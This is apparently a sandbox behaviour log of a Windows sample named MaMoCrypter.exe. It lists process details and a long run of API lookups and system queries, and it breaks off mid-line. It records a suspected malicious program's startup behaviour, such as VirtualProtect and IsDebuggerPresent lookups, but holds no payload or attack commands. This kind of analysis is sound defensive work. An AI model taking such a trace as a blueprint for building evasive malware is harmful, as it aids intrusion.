# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Mar 3 2020 14:14:30 # Log Creation Date: 01.05.2020 21:26:24.460 Process: id = "1" image_name = "mamocrypter.exe" filename = "c:\\users\\fd1hvy\\desktop\\mamocrypter.exe" page_root = "0xf546000" os_pid = "0x110c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x560" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\MaMoCrypter.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x112c [0071.892] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x772d0000 [0071.892] GetProcAddress (hModule=0x772d0000, lpProcName="VirtualProtect") returned 0x772e6a30 [0071.892] VirtualProtect (in: lpAddress=0x40015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x19ff60 | out: lpflOldProtect=0x19ff60*=0x2) returned 1 [0072.029] VirtualProtect (in: lpAddress=0x40015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0x19ff60 | out: lpflOldProtect=0x19ff60*=0x4) returned 1 [0072.029] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0072.029] GetProcAddress (hModule=0x772d0000, lpProcName="GetACP") returned 0x772e4ca0 [0072.029] GetProcAddress (hModule=0x772d0000, lpProcName="LocalFree") returned 0x772e5b40 [0072.029] GetProcAddress (hModule=0x772d0000, lpProcName="CloseHandle") returned 0x7733eab0 [0072.029] GetProcAddress (hModule=0x772d0000, lpProcName="GetCurrentProcessId") returned 0x7733ea20 [0072.030] GetProcAddress (hModule=0x772d0000, lpProcName="SizeofResource") returned 0x772e6740 [0072.030] GetProcAddress (hModule=0x772d0000, lpProcName="VirtualProtect") returned 0x772e6a30 [0072.030] GetProcAddress (hModule=0x772d0000, lpProcName="QueryPerformanceFrequency") returned 0x772e5dc0 [0072.030] GetProcAddress (hModule=0x772d0000, lpProcName="IsDebuggerPresent") returned 0x772e5930 [0072.030] GetProcAddress (hModule=0x772d0000, lpProcName="VirtualFree") returned 0x772e69d0 [0072.030] GetProcAddress (hModule=0x772d0000, lpProcName="GetFullPathNameW") returned 0x7733efa0 [0072.030] GetProcAddress (hModule=0x772d0000, lpProcName="ExitProcess") returned 0x772e3cb0 [0072.030] GetProcAddress (hModule=0x772d0000, lpProcName="HeapAlloc") returned 0x779b2dc0 [0072.030] GetProcAddress (hModule=0x772d0000, lpProcName="GetCPInfoExW") returned 0x772e4d30 [0072.030] GetProcAddress (hModule=0x772d0000, lpProcName="RtlUnwind") returned 0x772e7c10 [0072.031] GetProcAddress (hModule=0x772d0000, lpProcName="GetCPInfo") returned 0x772e4d10 [0072.031] GetProcAddress (hModule=0x772d0000, lpProcName="EnumSystemLocalesW") returned 0x772e49c0 [0072.031] GetProcAddress (hModule=0x772d0000, lpProcName="GetStdHandle") returned 0x772e5330 [0072.031] GetProcAddress (hModule=0x772d0000, lpProcName="GetModuleHandleW") returned 0x772e50d0 [0072.031] GetProcAddress (hModule=0x772d0000, lpProcName="FreeLibrary") returned 0x772e4c40 [0072.031] GetProcAddress (hModule=0x772d0000, lpProcName="TryEnterCriticalSection") returned 0x779caae0 [0072.031] GetProcAddress (hModule=0x772d0000, lpProcName="HeapDestroy") returned 0x772e57d0 [0072.031] GetProcAddress (hModule=0x772d0000, lpProcName="ReadFile") returned 0x7733f090 [0072.031] GetProcAddress (hModule=0x772d0000, lpProcName="HeapSize") returned 0x779ca790 [0072.031] GetProcAddress (hModule=0x772d0000, lpProcName="GetLastError") returned 0x772e5010 [0072.032] GetProcAddress (hModule=0x772d0000, lpProcName="GetModuleFileNameW") returned 0x772e5090 [0072.032] GetProcAddress (hModule=0x772d0000, lpProcName="SetLastError") returned 0x772e4f00 [0072.032] GetProcAddress (hModule=0x772d0000, lpProcName="GlobalAlloc") returned 0x772e5750 [0072.032] GetProcAddress (hModule=0x772d0000, lpProcName="GlobalUnlock") returned 0x773244e0 [0072.032] GetProcAddress (hModule=0x772d0000, lpProcName="FindResourceW") returned 0x772e4aa0 [0072.032] GetProcAddress (hModule=0x772d0000, lpProcName="CreateThread") returned 0x772e46b0 [0072.032] GetProcAddress (hModule=0x772d0000, lpProcName="CompareStringW") returned 0x772e4430 [0072.032] GetProcAddress (hModule=0x772d0000, lpProcName="LoadLibraryA") returned 0x772e5a80 [0072.032] GetProcAddress (hModule=0x772d0000, lpProcName="ResetEvent") returned 0x7733ec40 [0072.032] GetProcAddress (hModule=0x772d0000, lpProcName="MulDiv") returned 0x7733e6e0 [0072.032] GetProcAddress (hModule=0x772d0000, lpProcName="FreeResource") returned 0x772e4c80 [0072.033] GetProcAddress (hModule=0x772d0000, lpProcName="GetVersion") returned 0x772e56c0 [0072.033] GetProcAddress (hModule=0x772d0000, lpProcName="RaiseException") returned 0x772e5e20 [0072.033] GetProcAddress (hModule=0x772d0000, lpProcName="GlobalAddAtomW") returned 0x773120f0 [0072.033] GetProcAddress (hModule=0x772d0000, lpProcName="FormatMessageW") returned 0x772e4be0 [0072.033] GetProcAddress (hModule=0x772d0000, lpProcName="SwitchToThread") returned 0x772e6790 [0072.033] GetProcAddress (hModule=0x772d0000, lpProcName="GetExitCodeThread") returned 0x772e4ff0 [0072.033] GetProcAddress (hModule=0x772d0000, lpProcName="GetCurrentThread") returned 0x772e8810 [0072.033] GetProcAddress (hModule=0x772d0000, lpProcName="LoadLibraryExW") returned 0x772e5ac0 [0072.033] GetProcAddress (hModule=0x772d0000, lpProcName="LockResource") returned 0x772e5bc0 [0072.033] GetProcAddress (hModule=0x772d0000, lpProcName="GetCurrentThreadId") returned 0x772e8820 [0072.034] GetProcAddress (hModule=0x772d0000, lpProcName="UnhandledExceptionFilter") returned 0x772e68d0 [0072.034] GetProcAddress (hModule=0x772d0000, lpProcName="VirtualQuery") returned 0x772e6a70 [0072.034] GetProcAddress (hModule=0x772d0000, lpProcName="GlobalFindAtomW") returned 0x77312130 [0072.034] GetProcAddress (hModule=0x772d0000, lpProcName="VirtualQueryEx") returned 0x772e6a90 [0072.034] GetProcAddress (hModule=0x772d0000, lpProcName="GlobalFree") returned 0x772e1ee0 [0072.034] GetProcAddress (hModule=0x772d0000, lpProcName="Sleep") returned 0x772e6760 [0072.034] GetProcAddress (hModule=0x772d0000, lpProcName="EnterCriticalSection") returned 0x779bb2d0 [0072.034] GetProcAddress (hModule=0x772d0000, lpProcName="SetFilePointer") returned 0x7733f120 [0072.034] GetProcAddress (hModule=0x772d0000, lpProcName="LoadResource") returned 0x772e5b00 [0072.034] GetProcAddress (hModule=0x772d0000, lpProcName="SuspendThread") returned 0x772e6770 [0072.035] GetProcAddress (hModule=0x772d0000, lpProcName="GetTickCount") returned 0x7733dd50 [0072.035] GetProcAddress (hModule=0x772d0000, lpProcName="GetFileSize") returned 0x7733ef30 [0072.035] GetProcAddress (hModule=0x772d0000, lpProcName="GetStartupInfoW") returned 0x772e5320 [0072.035] GetProcAddress (hModule=0x772d0000, lpProcName="GlobalDeleteAtom") returned 0x773120b0 [0072.035] GetProcAddress (hModule=0x772d0000, lpProcName="GetFileAttributesW") returned 0x7733ef10 [0072.035] GetProcAddress (hModule=0x772d0000, lpProcName="InitializeCriticalSection") returned 0x779caf20 [0072.035] GetProcAddress (hModule=0x772d0000, lpProcName="GetThreadPriority") returned 0x772e5610 [0072.035] GetProcAddress (hModule=0x772d0000, lpProcName="GetCurrentProcess") returned 0x7733ea10 [0072.035] GetProcAddress (hModule=0x772d0000, lpProcName="SetThreadPriority") returned 0x772e66c0 [0072.035] GetProcAddress (hModule=0x772d0000, lpProcName="GlobalLock") returned 0x773242f0 [0072.035] GetProcAddress (hModule=0x772d0000, lpProcName="VirtualAlloc") returned 0x772e6970 [0072.036] GetProcAddress (hModule=0x772d0000, lpProcName="GetSystemInfo") returned 0x772e54d0 [0072.036] GetProcAddress (hModule=0x772d0000, lpProcName="GetCommandLineW") returned 0x772e4cc0 [0072.036] GetProcAddress (hModule=0x772d0000, lpProcName="GetTempPathW") returned 0x7733eff0 [0072.036] GetProcAddress (hModule=0x772d0000, lpProcName="LeaveCriticalSection") returned 0x779bb250 [0072.036] GetProcAddress (hModule=0x772d0000, lpProcName="GetProcAddress") returned 0x772e51b0 [0072.036] GetProcAddress (hModule=0x772d0000, lpProcName="ResumeThread") returned 0x772e6380 [0072.036] GetProcAddress (hModule=0x772d0000, lpProcName="GetVersionExW") returned 0x772e56f0 [0072.036] GetProcAddress (hModule=0x772d0000, lpProcName="VerifyVersionInfoW") returned 0x773226c0 [0072.036] GetProcAddress (hModule=0x772d0000, lpProcName="HeapCreate") returned 0x772e57b0 [0072.036] GetProcAddress (hModule=0x772d0000, lpProcName="VerSetConditionMask") returned 0x779d48b0 [0072.037] GetProcAddress (hModule=0x772d0000, lpProcName="GetDiskFreeSpaceW") returned 0x7733eeb0 [0072.037] GetProcAddress (hModule=0x772d0000, lpProcName="FindFirstFileW") returned 0x7733edf0 [0072.037] GetProcAddress (hModule=0x772d0000, lpProcName="GetUserDefaultUILanguage") returned 0x772e56b0 [0072.037] GetProcAddress (hModule=0x772d0000, lpProcName="lstrlenW") returned 0x772e6c70 [0072.037] GetProcAddress (hModule=0x772d0000, lpProcName="QueryPerformanceCounter") returned 0x772e5da0 [0072.037] GetProcAddress (hModule=0x772d0000, lpProcName="SetEndOfFile") returned 0x7733f0e0 [0072.037] GetProcAddress (hModule=0x772d0000, lpProcName="HeapFree") returned 0x772e57f0 [0072.037] GetProcAddress (hModule=0x772d0000, lpProcName="WideCharToMultiByte") returned 0x772e6b10 [0072.037] GetProcAddress (hModule=0x772d0000, lpProcName="FindClose") returned 0x7733ed70 [0072.037] GetProcAddress (hModule=0x772d0000, lpProcName="MultiByteToWideChar") returned 0x772e5c40 [0072.038] GetProcAddress (hModule=0x772d0000, lpProcName="LoadLibraryW") returned 0x772e5ae0 [0072.038] GetProcAddress (hModule=0x772d0000, lpProcName="SetEvent") returned 0x7733ec50 [0072.038] GetProcAddress (hModule=0x772d0000, lpProcName="CreateFileW") returned 0x7733ed10 [0072.038] GetProcAddress (hModule=0x772d0000, lpProcName="GetLocaleInfoW") returned 0x772e5040 [0072.038] GetProcAddress (hModule=0x772d0000, lpProcName="EnumResourceNamesW") returned 0x7733f1b0 [0072.038] GetProcAddress (hModule=0x772d0000, lpProcName="DeleteFileW") returned 0x7733ed40 [0072.038] GetProcAddress (hModule=0x772d0000, lpProcName="GetLocalTime") returned 0x772e5060 [0072.038] GetProcAddress (hModule=0x772d0000, lpProcName="GetEnvironmentVariableW") returned 0x772e4fb0 [0072.038] GetProcAddress (hModule=0x772d0000, lpProcName="WaitForSingleObject") returned 0x7733eca0 [0072.038] GetProcAddress (hModule=0x772d0000, lpProcName="WriteFile") returned 0x7733f180 [0072.038] GetProcAddress (hModule=0x772d0000, lpProcName="ExitThread") returned 0x779d6390 [0072.039] GetProcAddress (hModule=0x772d0000, lpProcName="DeleteCriticalSection") returned 0x7799fb90 [0072.039] GetProcAddress (hModule=0x772d0000, lpProcName="GetDateFormatW") returned 0x772e7740 [0072.039] GetProcAddress (hModule=0x772d0000, lpProcName="TlsGetValue") returned 0x772e6850 [0072.039] GetProcAddress (hModule=0x772d0000, lpProcName="SetErrorMode") returned 0x772e6500 [0072.039] GetProcAddress (hModule=0x772d0000, lpProcName="IsValidLocale") returned 0x772e5a00 [0072.039] GetProcAddress (hModule=0x772d0000, lpProcName="TlsSetValue") returned 0x772e6870 [0072.039] GetProcAddress (hModule=0x772d0000, lpProcName="GetSystemDefaultUILanguage") returned 0x772e53f0 [0072.039] GetProcAddress (hModule=0x772d0000, lpProcName="EnumCalendarInfoW") returned 0x772e4800 [0072.039] GetProcAddress (hModule=0x772d0000, lpProcName="LocalAlloc") returned 0x772e5b20 [0072.039] GetProcAddress (hModule=0x772d0000, lpProcName="RemoveDirectoryW") returned 0x7733f0d0 [0072.040] GetProcAddress (hModule=0x772d0000, lpProcName="CreateEventW") returned 0x7733eb30 [0072.040] GetProcAddress (hModule=0x772d0000, lpProcName="WaitForMultipleObjectsEx") returned 0x7733ec90 [0072.040] GetProcAddress (hModule=0x772d0000, lpProcName="SetThreadLocale") returned 0x772e6fc0 [0072.040] GetProcAddress (hModule=0x772d0000, lpProcName="GetThreadLocale") returned 0x772e5600 [0072.040] GetModuleHandleA (lpModuleName="winspool.drv") returned 0x74270000 [0072.040] GetProcAddress (hModule=0x74270000, lpProcName="DocumentPropertiesW") returned 0x74283710 [0072.040] GetProcAddress (hModule=0x74270000, lpProcName="ClosePrinter") returned 0x7427d410 [0072.040] GetProcAddress (hModule=0x74270000, lpProcName="OpenPrinterW") returned 0x7427d550 [0072.040] GetProcAddress (hModule=0x74270000, lpProcName="GetDefaultPrinterW") returned 0x74282bc0 [0072.041] GetProcAddress (hModule=0x74270000, lpProcName="EnumPrintersW") returned 0x742837a0 [0072.041] GetModuleHandleA (lpModuleName="comctl32.dll") returned 0x74060000 [0072.041] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_GetImageInfo") returned 0x7412a840 [0072.041] GetProcAddress (hModule=0x74060000, lpProcName="FlatSB_SetScrollInfo") returned 0x74119180 [0072.041] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_DragMove") returned 0x7412a5e0 [0072.041] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_Destroy") returned 0x740ab8f0 [0072.041] GetProcAddress (hModule=0x74060000, lpProcName="_TrackMouseEvent") returned 0x74121260 [0072.041] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_DragShowNolock") returned 0x7412a650 [0072.042] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_Add") returned 0x740b5500 [0072.042] GetProcAddress (hModule=0x74060000, lpProcName="FlatSB_SetScrollProp") returned 0x741191c0 [0072.042] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_GetDragImage") returned 0x7412a7b0 [0072.042] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_Create") returned 0x740aba00 [0072.042] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_EndDrag") returned 0x7412a740 [0072.042] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_DrawEx") returned 0x74088100 [0072.042] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_SetImageCount") returned 0x740a95b0 [0072.042] GetProcAddress (hModule=0x74060000, lpProcName="FlatSB_GetScrollPos") returned 0x74119140 [0072.042] GetProcAddress (hModule=0x74060000, lpProcName="FlatSB_SetScrollPos") returned 0x741191a0 [0072.042] GetProcAddress (hModule=0x74060000, lpProcName="InitializeFlatSB") returned 0x740dfdf0 [0072.043] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_Copy") returned 0x7412a3c0 [0072.043] GetProcAddress (hModule=0x74060000, lpProcName="FlatSB_GetScrollInfo") returned 0x74119120 [0072.043] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_Write") returned 0x740df860 [0072.043] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_SetBkColor") returned 0x74093c70 [0072.043] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_GetBkColor") returned 0x74089010 [0072.043] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_BeginDrag") returned 0x7412a2b0 [0072.043] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_GetIcon") returned 0x740b55d0 [0072.043] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_Replace") returned 0x7412a9f0 [0072.044] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_GetImageCount") returned 0x740dec80 [0072.044] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_DragEnter") returned 0x7412a500 [0072.044] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_GetIconSize") returned 0x740ddb90 [0072.044] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_SetIconSize") returned 0x7412aca0 [0072.044] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_Read") returned 0x74081700 [0072.044] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_DragLeave") returned 0x7412a570 [0072.044] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_LoadImageW") returned 0x740ab660 [0072.044] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_Draw") returned 0x740ab7f0 [0072.045] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_Remove") returned 0x740ded30 [0072.045] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_ReplaceIcon") returned 0x740b4dc0 [0072.045] GetProcAddress (hModule=0x74060000, lpProcName="ImageList_SetOverlayImage") returned 0x7412ad20 [0072.045] GetModuleHandleA (lpModuleName="shell32.dll") returned 0x75760000 [0072.045] GetProcAddress (hModule=0x75760000, lpProcName="Shell_NotifyIconW") returned 0x75880630 [0072.045] GetProcAddress (hModule=0x75760000, lpProcName="ShellExecuteW") returned 0x758c42e0 [0072.045] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x753c0000 [0072.045] GetProcAddress (hModule=0x753c0000, lpProcName="IsEqualGUID") returned 0x753f0ad0 [0072.045] GetProcAddress (hModule=0x753c0000, lpProcName="OleInitialize") returned 0x753f3e50 [0072.045] GetProcAddress (hModule=0x753c0000, lpProcName="OleUninitialize") returned 0x753f4de0 [0072.045] GetProcAddress (hModule=0x753c0000, lpProcName="CoInitialize") returned 0x753f6a60 [0072.046] GetProcAddress (hModule=0x753c0000, lpProcName="CoCreateInstance") returned 0x749e7490 [0072.046] GetProcAddress (hModule=0x753c0000, lpProcName="CoUninitialize") returned 0x74a222b0 [0072.046] GetProcAddress (hModule=0x753c0000, lpProcName="CoTaskMemFree") returned 0x749b64b0 [0072.046] GetProcAddress (hModule=0x753c0000, lpProcName="CoTaskMemAlloc") returned 0x749b7d40 [0072.046] GetModuleHandleA (lpModuleName="version.dll") returned 0x74030000 [0072.046] GetProcAddress (hModule=0x74030000, lpProcName="GetFileVersionInfoSizeW") returned 0x74031570 [0072.046] GetProcAddress (hModule=0x74030000, lpProcName="VerQueryValueW") returned 0x74031510 [0072.046] GetProcAddress (hModule=0x74030000, lpProcName="GetFileVersionInfoW") returned 0x74031590 [0072.046] GetModuleHandleA (lpModuleName="user32.dll") returned 0x750c0000 [0072.047] GetProcAddress (hModule=0x750c0000, lpProcName="CopyImage") returned 0x750dc330 [0072.047] GetProcAddress (hModule=0x750c0000, lpProcName="CreateWindowExW") returned 0x750e8780 [0072.047] GetProcAddress (hModule=0x750c0000, lpProcName="GetMenuItemInfoW") returned 0x750cbc40 [0072.048] GetProcAddress (hModule=0x750c0000, lpProcName="SetMenuItemInfoW") returned 0x750c8f60 [0072.048] GetProcAddress (hModule=0x750c0000, lpProcName="DefFrameProcW") returned 0x7512acf0 [0072.048] GetProcAddress (hModule=0x750c0000, lpProcName="GetDCEx") returned 0x750f33d0 [0072.048] GetProcAddress (hModule=0x750c0000, lpProcName="PeekMessageW") returned 0x750ed180 [0072.048] GetProcAddress (hModule=0x750c0000, lpProcName="MonitorFromWindow") returned 0x750d5c10 [0072.048] GetProcAddress (hModule=0x750c0000, lpProcName="GetDlgCtrlID") returned 0x750cc520 [0072.048] GetProcAddress (hModule=0x750c0000, lpProcName="SetTimer") returned 0x750f0370 [0072.049] GetProcAddress (hModule=0x750c0000, lpProcName="WindowFromPoint") returned 0x750f4080 [0072.049] GetProcAddress (hModule=0x750c0000, lpProcName="BeginPaint") returned 0x750f2fb0 [0072.049] GetProcAddress (hModule=0x750c0000, lpProcName="RegisterClipboardFormatW") returned 0x750f0450 [0072.049] GetProcAddress (hModule=0x750c0000, lpProcName="FrameRect") returned 0x750df260 [0072.049] GetProcAddress (hModule=0x750c0000, lpProcName="MapVirtualKeyW") returned 0x750e3370 [0072.049] GetProcAddress (hModule=0x750c0000, lpProcName="IsWindowUnicode") returned 0x750d9ef0 [0072.049] GetProcAddress (hModule=0x750c0000, lpProcName="RegisterWindowMessageW") returned 0x750f0450 [0072.049] GetProcAddress (hModule=0x750c0000, lpProcName="FillRect") returned 0x750d3850 [0072.049] GetProcAddress (hModule=0x750c0000, lpProcName="GetMenuStringW") returned 0x750c8f10 [0072.049] GetProcAddress (hModule=0x750c0000, lpProcName="DispatchMessageW") returned 0x750e4840 [0072.049] GetProcAddress (hModule=0x750c0000, lpProcName="CreateAcceleratorTableW") returned 0x750f30f0 [0072.050] GetProcAddress (hModule=0x750c0000, lpProcName="SendMessageA") returned 0x750d0630 [0072.050] GetProcAddress (hModule=0x750c0000, lpProcName="DefMDIChildProcW") returned 0x7512ad20 [0072.050] GetProcAddress (hModule=0x750c0000, lpProcName="EnumWindows") returned 0x750da3c0 [0072.050] GetProcAddress (hModule=0x750c0000, lpProcName="GetClassInfoW") returned 0x750e8450 [0072.050] GetProcAddress (hModule=0x750c0000, lpProcName="ShowOwnedPopups") returned 0x750e3650 [0072.050] GetProcAddress (hModule=0x750c0000, lpProcName="GetSystemMenu") returned 0x750f3680 [0072.050] GetProcAddress (hModule=0x750c0000, lpProcName="GetScrollRange") returned 0x750e1e50 [0072.050] GetProcAddress (hModule=0x750c0000, lpProcName="SetScrollPos") returned 0x750e2380 [0072.050] GetProcAddress (hModule=0x750c0000, lpProcName="GetScrollPos") returned 0x750ccb50 [0072.050] GetProcAddress (hModule=0x750c0000, lpProcName="GetActiveWindow") returned 0x750e05d0 [0072.050] GetProcAddress (hModule=0x750c0000, lpProcName="SetActiveWindow") returned 0x750f3c10 [0072.051] GetProcAddress (hModule=0x750c0000, lpProcName="DrawEdge") returned 0x750d6c20 [0072.051] GetProcAddress (hModule=0x750c0000, lpProcName="GetKeyboardLayoutList") returned 0x750f34b0 [0072.051] GetProcAddress (hModule=0x750c0000, lpProcName="LoadBitmapW") returned 0x750e2b80 [0072.051] GetProcAddress (hModule=0x750c0000, lpProcName="DrawFocusRect") returned 0x750df210 [0072.051] GetProcAddress (hModule=0x750c0000, lpProcName="EnumChildWindows") returned 0x750db160 [0072.051] GetProcAddress (hModule=0x750c0000, lpProcName="ReleaseCapture") returned 0x750e1770 [0072.051] GetProcAddress (hModule=0x750c0000, lpProcName="UnhookWindowsHookEx") returned 0x750f3fa0 [0072.051] GetProcAddress (hModule=0x750c0000, lpProcName="LoadCursorW") returned 0x750eab40 [0072.051] GetProcAddress (hModule=0x750c0000, lpProcName="GetCapture") returned 0x750dd1e0 [0072.051] GetProcAddress (hModule=0x750c0000, lpProcName="SetCapture") returned 0x750f3c50 [0072.052] GetProcAddress (hModule=0x750c0000, lpProcName="CreatePopupMenu") returned 0x750e35d0 [0072.052] GetProcAddress (hModule=0x750c0000, lpProcName="ScrollWindow") returned 0x750e22d0 [0072.052] GetProcAddress (hModule=0x750c0000, lpProcName="ShowCaret") returned 0x750e1fe0 [0072.052] GetProcAddress (hModule=0x750c0000, lpProcName="GetMenuItemID") returned 0x750cc660 [0072.052] GetProcAddress (hModule=0x750c0000, lpProcName="GetLastActivePopup") returned 0x750df940 [0072.052] GetProcAddress (hModule=0x750c0000, lpProcName="CharLowerBuffW") returned 0x750e34a0 [0072.052] GetProcAddress (hModule=0x750c0000, lpProcName="GetSystemMetrics") returned 0x750eddc0 [0072.052] GetProcAddress (hModule=0x750c0000, lpProcName="SetWindowLongW") returned 0x750e58c0 [0072.052] GetProcAddress (hModule=0x750c0000, lpProcName="PostMessageW") returned 0x750ef870 [0072.052] GetProcAddress (hModule=0x750c0000, lpProcName="DrawMenuBar") returned 0x750e26c0 [0072.052] GetProcAddress (hModule=0x750c0000, lpProcName="SetParent") returned 0x750e25c0 [0072.053] GetProcAddress (hModule=0x750c0000, lpProcName="IsZoomed") returned 0x750db000 [0072.053] GetProcAddress (hModule=0x750c0000, lpProcName="CharUpperBuffW") returned 0x75137670 [0072.053] GetProcAddress (hModule=0x750c0000, lpProcName="GetClientRect") returned 0x750d9650 [0072.053] GetProcAddress (hModule=0x750c0000, lpProcName="IsChild") returned 0x750c9550 [0072.053] GetProcAddress (hModule=0x750c0000, lpProcName="ClientToScreen") returned 0x750db570 [0072.053] GetProcAddress (hModule=0x750c0000, lpProcName="GetClipboardData") returned 0x750e0bc0 [0072.053] GetProcAddress (hModule=0x750c0000, lpProcName="SetClipboardData") returned 0x750e0d10 [0072.053] GetProcAddress (hModule=0x750c0000, lpProcName="SetWindowPlacement") returned 0x750f3e80 [0072.053] GetProcAddress (hModule=0x750c0000, lpProcName="IsIconic") returned 0x750cad50 [0072.053] GetProcAddress (hModule=0x750c0000, lpProcName="CallNextHookEx") returned 0x750eda00 [0072.053] GetProcAddress (hModule=0x750c0000, lpProcName="GetMonitorInfoW") returned 0x750ee1d0 [0072.054] GetProcAddress (hModule=0x750c0000, lpProcName="ShowWindow") returned 0x750f3ee0 [0072.054] GetProcAddress (hModule=0x750c0000, lpProcName="CheckMenuItem") returned 0x750cb930 [0072.054] GetProcAddress (hModule=0x750c0000, lpProcName="CharUpperW") returned 0x750f0f70 [0072.054] GetProcAddress (hModule=0x750c0000, lpProcName="DefWindowProcW") returned 0x779f5690 [0072.054] GetProcAddress (hModule=0x750c0000, lpProcName="GetForegroundWindow") returned 0x750f3420 [0072.054] GetProcAddress (hModule=0x750c0000, lpProcName="SetForegroundWindow") returned 0x750e2900 [0072.054] GetProcAddress (hModule=0x750c0000, lpProcName="GetWindowTextW") returned 0x750ceac0 [0072.054] GetProcAddress (hModule=0x750c0000, lpProcName="EnableWindow") returned 0x750e0a60 [0072.054] GetProcAddress (hModule=0x750c0000, lpProcName="DestroyWindow") returned 0x750f3160 [0072.054] GetProcAddress (hModule=0x750c0000, lpProcName="IsDialogMessageW") returned 0x750cd340 [0072.055] GetProcAddress (hModule=0x750c0000, lpProcName="EndMenu") returned 0x750f32c0 [0072.055] GetProcAddress (hModule=0x750c0000, lpProcName="RegisterClassW") returned 0x750e8720 [0072.055] GetProcAddress (hModule=0x750c0000, lpProcName="CharNextW") returned 0x750f1130 [0072.055] GetProcAddress (hModule=0x750c0000, lpProcName="GetWindowThreadProcessId") returned 0x750eeb60 [0072.055] GetProcAddress (hModule=0x750c0000, lpProcName="RedrawWindow") returned 0x750f3ab0 [0072.055] GetProcAddress (hModule=0x750c0000, lpProcName="GetDC") returned 0x750f33c0 [0072.055] GetProcAddress (hModule=0x750c0000, lpProcName="GetFocus") returned 0x750dd120 [0072.055] GetProcAddress (hModule=0x750c0000, lpProcName="SetFocus") returned 0x750f3d10 [0072.055] GetProcAddress (hModule=0x750c0000, lpProcName="EndPaint") returned 0x750f32d0 [0072.055] GetProcAddress (hModule=0x750c0000, lpProcName="ReleaseDC") returned 0x750ea480 [0072.262] SetThreadLocale (Locale=0x400) returned 1 [0072.296] GetVersion () returned 0x3ad7000a [0072.296] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0072.296] GetProcAddress (hModule=0x772d0000, lpProcName="GetThreadPreferredUILanguages") returned 0x772e7250 [0072.296] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0072.297] GetProcAddress (hModule=0x772d0000, lpProcName="SetThreadPreferredUILanguages") returned 0x772e4f10 [0072.297] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0072.297] GetProcAddress (hModule=0x772d0000, lpProcName="GetThreadUILanguage") returned 0x772e7290 [0072.324] GetSystemInfo (in: lpSystemInfo=0x19ff04 | out: lpSystemInfo=0x19ff04*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0072.497] GetCommandLineW () returned="\"C:\\Users\\FD1HVy\\Desktop\\MaMoCrypter.exe\" " [0072.497] GetStartupInfoW (in: lpStartupInfo=0x19fee0 | out: lpStartupInfo=0x19fee0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\MaMoCrypter.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0072.497] GetACP () returned 0x4e4 [0072.497] GetCurrentThreadId () returned 0x112c [0072.497] GetVersion () returned 0x3ad7000a [0072.614] GetVersionExW (in: lpVersionInformation=0x19fe24*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x772e7290, dwBuildNumber=0x40c74c, dwPlatformId=0x19fe70, szCSDVersion="") | out: lpVersionInformation=0x19fe24*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0072.669] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x19dce4, nSize=0x20a | out: 